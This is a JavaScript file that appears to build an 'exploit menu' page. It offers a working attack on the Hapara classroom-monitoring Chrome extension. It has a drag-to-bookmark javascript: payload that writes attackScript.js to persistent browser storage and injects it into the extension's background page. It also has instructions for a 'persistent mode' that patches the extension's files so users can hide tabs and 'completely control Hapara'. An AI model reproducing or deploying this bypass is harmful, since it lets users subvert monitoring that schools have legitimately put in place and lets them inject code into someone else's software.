(function() {
  'use strict';
  var model;
  var controller;
  var view;
  model = {
    exploits: [{
      title: 'Hapara',
      callback: function(instructions) {
        instructions[4].innerHTML += '<a href="Exploits/Hapara/attackScript.js">this</a> at the begining of the file.';
        instructions[5].innerHTML += '<a href="chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html">this</a>';
        instructions[5].innerHTML += ' in a new tab, and then drag ';
        var a = document.createElement('a');
        a.setAttribute('href', `javascript:
          chrome.extension.getBackgroundPage().location = "manifest.json";
          navigator.webkitPersistentStorage.requestQuota(1024 * 1024 * 1024,
            function(grantedBytes) {
              webkitRequestFileSystem(PERSISTENT, grantedBytes,
              function(fileSystem) {
                fileSystem.root.getFile('attackScript.js', {create: true, exclusive: false}, function(file) {
                  file.remove(function() {
                    var xhr = new XMLHttpRequest();
                    xhr.open('GET', 'filesystem:` + location.origin + `/persistent/system/app/Exploit/Exploits/Hapara/attackScript.js', true);
                    xhr.responseType = 'blob';
                    xhr.addEventListener('load', function() {
                      fileSystem.root.getFile('attackScript.js', {create: true}, function(file) {
                        file.createWriter(function(fileContent) {
                          fileContent.write(xhr.response);
                          var win = chrome.extension.getBackgroundPage();
                          win.hiScript = win.document.createElement("script");
                          win.hiScript.src = 'filesystem:' + location.origin + '/persistent/attackScript.js';
                          setTimeout(function() {
                            win.document.head.appendChild(win.hiScript);
                          }.bind(this), 100);
                        });
                      }, function(err) {
                        alert('Unable to create attackScript.js; ' + err);
                      });
                    });
                    xhr.send();
                  }, function(err) {
                    alert('Unable to delete attackScript.js; ' + err);
                  });
                }, function(err) {
                  alert('Unable to get attackScript.js; ' + err);
                })
              }, function(err) {
                alert('fileSystem.js: Cannot get File System.' + err);
              });
            }, function(err) {
              alert('fileSystem.js: Cannot request File System.' + err);
            });
        `);
        a.innerText = 'this';
        instructions[5].appendChild(a);
        instructions[5].innerHTML += ' to the top of that tab.';
      },
      instructions: [
        'This exploit allows you to hide tabs and completely control Hapara.',
        '1. Persistent Mode. This will Work semi-permanently, with the exception of factory resets and account resets. You will need shell access.',
        '2. Temporary Mode. This will only work until you log out or shut down your ChromeBook. You should be fine if you just close this lid, though.',
        '',
        'To Enable persistent mode, navigate to ~/Extensions/kbohafcopfpigkjdimdcdgenlhkmhbnc/2.x.x/webpack/background-*.js, and insert ',
        'To Enable temporary mode, open '
      ]
    }],
    init: function() {
      for (let i = 0, ii = this.exploits.length; i != ii; i++) {
        controller.newContent(this.exploits[i]);
      }
    }
  };
  controller = {
    init: function() {
      model.init();
      view.init();
    },
    newContent: function(options) {
      view.newContent(options);
    }
  };
  view = {
    init: function() {
    },
    newContent: function(params) {
      var exploitGroup = document.createElement('div');
      exploitGroup.className = 'exploitGroup';
      var exploitLabel = document.createElement('div');
      exploitLabel.className = 'exploitLabel';
      var dropDown = document.createElement('img');
      dropDown.className = 'dropdown';
      dropDown.src = 'res/drawable/dropdown.svg';
      exploitLabel.appendChild(dropDown);
      var title = document.createElement('div');
      title.className = 'title';
      title.innerText = params.title;
      exploitLabel.appendChild(title);
      exploitLabel.addEventListener('click', function() {
        if (exploitGroup.expanded) {
          /*Collapse group*/
          exploitGroup.expanded = false;
          exploitGroup.className = 'exploitGroup';
        } else {
          /*Expand group*/
          exploitGroup.expanded = true;
          exploitGroup.className = 'exploitGroup active';
        }
      }.bind(this));
      exploitGroup.appendChild(exploitLabel);
      var exploitBody = document.createElement('div');
      exploitBody.className = 'exploitBody';
      for (let i = 0, ii = params.instructions.length; i != ii; i++) {
        let instruction = document.createElement('p');
        instruction.className = 'instructions';
        instruction.innerText = params.instructions[i];
        exploitBody.appendChild(instruction);
      }
      exploitGroup.appendChild(exploitBody);
      exploitGroup.expanded = false;
      document.body.appendChild(exploitGroup);
      params.callback(exploitBody.children);
    }
  };
  controller.init();
})();
